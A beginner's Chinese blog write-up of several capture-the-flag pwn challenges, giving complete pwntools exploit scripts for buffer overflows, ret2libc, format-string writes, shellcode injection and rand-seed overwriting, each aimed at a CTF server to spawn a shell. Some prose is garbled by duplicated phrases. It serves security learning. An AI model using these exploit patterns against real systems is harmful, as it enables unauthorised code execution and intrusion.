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小白尝试做pwn题QAQ

get shell
惯例：

IDA查看main函数：

显然直接连接就可以得到权限。

nc ls cat 一条龙服务：

菜鸟教程的Linux命令大全

hello pwn

https://blog.csdn.net/Lenard404
https://blog.csdn.net/lenard404/category_11298778.html
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=python&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/Lenard404/article/details/119800596
https://blog.csdn.net/lenard404/category_11298778.html
https://www.runoob.com/linux/linux-command-manual.html


惯例：

IDA查看main:

查看if语句后的函数：

目的明确：进入if语句。
计算60106C和601068的偏移为4，read可以读入0x10，直接输入条件即可。
exp:

from pwn import*

r = remote('111.200.241.244',64067)
payload = 'a'*4 + p64(1853186401)
r.recvuntil('bof')
r.sendline(payload)
r.interactive()

得到flag:

cyberpeace{989932911edbf0eb2bd71336c53f5011}

level0



惯例：

IDA查看main:

没看懂它到底干了什么，第一步应该是输出字符串，但这个返回有点问题，点进去看看：

所以这个函数可以姑且看作等同于read()，看看有没有有用的字符串：

给了system函数和/bin/sh，想起刚刚的read的读入是0x200去看看buf的空间：

只有0x80，那么思路就是：先把buf填满，然后64位ret填8个字符，然后通过字符串找到system函数的地址，输入，实现调用。
exp:

from pwn import *

r = remote('111.200.241.244',55187)

func_addr = 0x0400596
payload = 'a'*0x80 + 'a'*8 + p64(func_addr)

r.sendline(payload)
r.interactive()

得到flag:

level2



惯例：

IDA查看main:

查看第一个函数：

查看字符串：

还是有system!!!查看buf偏移：

比read的0x100少。
思路：

填满buf然后调用system。
exp:

from pwn import*

r = remote('111.200.241.244',54064)

sys_adr = 0x8048320
bin_adr = 0x804A024
payload = 'a'*(0x88) + 'a'*0x4 + p32(sys_adr) + p32(0) + p32(bin_adr) 
r.sendline(payload)
r.interactive()



得到flag:

level3
惯例：

IDA查看main:

查看第一个函数：

buf容量：

查看字符串：

【干干净净·啥也不给】



既然没有现成的system那么思路就是：
先利用write函数得到libc的偏移，然后再调用main函数，利用得到的偏移和got表和plt表去调用system和/bin/sh。
exp:

from pwn import *
r = remote("111.200.241.244",61622)

bin_adr = 0x15902b 

elf = ELF('./level3')
libc = ELF('./libc_32.so.6')

write_plt = elf.plt['write']
write_got = elf.got['write']
main_adr = elf.symbols['main']

payload = 'a'*0x88 + p32(0xdeadbeef) + p32(write_plt) + p32(main_adr) + p32(1) + p32(write_got) + p32(0xdeadbeef
)

r.sendlineafter("Input:\n",payload)

write_got_adr = u32(r.recv()[:4])

libc_adr = write_got_adr - libc.symbols['write'] #offset
sys_adr = libc_adr + libc.symbols['system']
bin_sh_adr = libc_adr + bin_adr

payload0 = 'a'*0x88 + p32(0xdeadbeef) + p32(sys_adr) + p32(0xdeadbeef) + p32(bin_sh_adr)

r.sendline(payload0)
r.interactive()

得到flag:

string
惯例：

IDA查看main函数：



注意到这里直接给了我们两个地址地址，然后查看这个被调用的函数：

第一个函数：



这个4009DD点进去会说“YOU ARE DEAD"，所以我们这步确定要输入”east",看第二个函数:

注意这里，他要了一个地址地址，并且这个printf把输出的字符数存储在了format中，这个format又是之前而我们输入的wish，当然要

进去需要输入‘1’。
查看第三个函数：



显然这个v1可以利用，到这里的思路是：v1输入shellcode。
问题：问题：a1[0]==a1[1]?
只用满足这个条件才可以调用v1，溯回到main函数可以看到a1就是v4，而v4就是v3，v3[0]=68,v3[1]=85,可以看出初始状态时
a1[0]和a1[1]并不相等，但是，程序一开始就把程序一开始就把v4的地址泄露给我们了的地址泄露给我们了，之后的程序中又涉及到读取地址读取地址，存储字符数在我存储字符数在我

们所给的地址中们所给的地址中。

最终思路是：

存储给出的地址，在address和wish的时候更改v4的值，使其相等，最后利用v1调用shellcode。
exp:

from pwn import *

r = remote('111.200.241.244',61235)

r.recvuntil("secret[0] is ")
addr = int(r.recv(7),16)
print addr

r.recvuntil("What should your character's name be:")
r.sendline('233')

r.recvuntil("So, where you will go?east or up?:")
r.sendline('east')

r.recvuntil("go into there(1), or leave(0)?:")
r.sendline('1')

r.recvuntil("'Give me an address'")
r.sendline(str(addr))

payload = '%085d' + '%7$n'
r.recvuntil("And, you wish is:")
r.sendline(payload)

r.recvuntil('I will help you! USE YOU SPELL')
shellcode = asm(shellcraft.amd64.linux.sh(),arch="amd64")
r.sendline(shellcode)

r.interactive()

得到flag:



guess num
惯例：

IDA查看main:

代码大意：和代码大意：和rand出来的数字一致出来的数字一致10次即为成功次即为成功

成功后调用的函数C3E:

所以我们要干的事情就明确了：输入输入10个数字与个数字与rand的数相同的数相同

该怎么和该怎么和rand()一致呢？一致呢？

大佬是这么说的：

其实srand生成的随机数是伪随机数。其实就是一个很长的数字字符串，然后根据种子定位到这个字符串某个点，然后每次生成随机数就读
一个数字字符。也就是说，如果我们的种子是一样的，相同的随机次序我们得到的随机数是一样的。

重点是：种子一致，随机数一致种子一致，随机数一致



这个gets显然可以利用，查看v8和seed:

偏移为20，seed[0]是第21个单元，思路：利用利用v8溢出更改溢出更改seed[0]的值，使的值，使seed一致，那么一致，那么rand()一致，就可以进入给出一致，就可以进入给出

flag的函数了的函数了

exp:

from pwn import*
from ctypes import*
r = remote('111.200.241.244',62646)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
payload = 'a'*0x20 + p64(1)
r.recvuntil('name:')
r.sendline(payload)
libc.srand(1)
for i in range(10):
 num = str(libc.rand()%6+1)
 r.recvuntil('number:')
 r.sendline(num)
r.interactive()

得到flag:

int overflow
惯例：

main:



login:

check_passwd:

至此，这程序看起来非常完美完美，如果不是在字符串里看到了这个：



找到了这个函数：

思路很明确：调用这个调用这个what_is_this函数函数
问题是：怎么调用？怎么调用？

注意到result是把s拷贝到dest中：
s:0x199
dest:0x14

这是溢出点溢出点，但是v3对对s的长度进行了限制的长度进行了限制(4-8)，题目是整数溢出整数溢出，查看汇编：

这里看出是把长度先放在先放在al，再放在，再放在v3的。

8086下寄存器是16位，高八位AH低八位AL。
只要把2 8̂占满后再加上4-8就可以进入else语句，用拷贝造成溢出。

exp:



from pwn import *

r = remote('111.200.241.244',61350)
sys_addr = 0x804868B

payload = 'a'*0x14 + 'a'*0x4 + p32(sys_addr)
payload = payload.ljust(260,'a')
r.recvuntil('choice:')
r.sendline('1')
r.recvuntil('username:')
r.sendline('233')
r.recvuntil('passwd:')
r.sendline(payload)
r.interactive()

得到flag:

cgpwn2
惯例：

IDA：

hello:

字符串：

问题：没有没有 /bin/sh
思路：输入/bin/sh并记下地址，溢出调用system。
s的偏移：

exp:



from pwn import*

r = remote('111.200.241.244',50171)
bin_sh = '/bin/sh'
sys_addr = 0x8048420

r.recvuntil('name')
r.sendline(bin_sh)
bin_addr = 0x804A080
r.recvuntil('here:')

payload = 'a'*0x26 + 'a'*0x4 + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_addr)

r.sendline(payload)
r.interactive()

得到flag:

CGfsb
惯例：

main:

思路：利用printf返回字符个数的特性把把pwnme改成改成8
exp:



from pwn import *

pwnme_addr = 0x804A068

payload = p32(pwnme_addr) + 'a'*4 + '%10$n' 
#p32(pwnme_addr) = = 'aaaa' pwnme要等于8

r = remote('111.200.241.244',55843)
r.recvuntil('name:')
r.sendline('233')
r.recvuntil('please:')
r.sendline(payload)
r.interactive()

得到flag:
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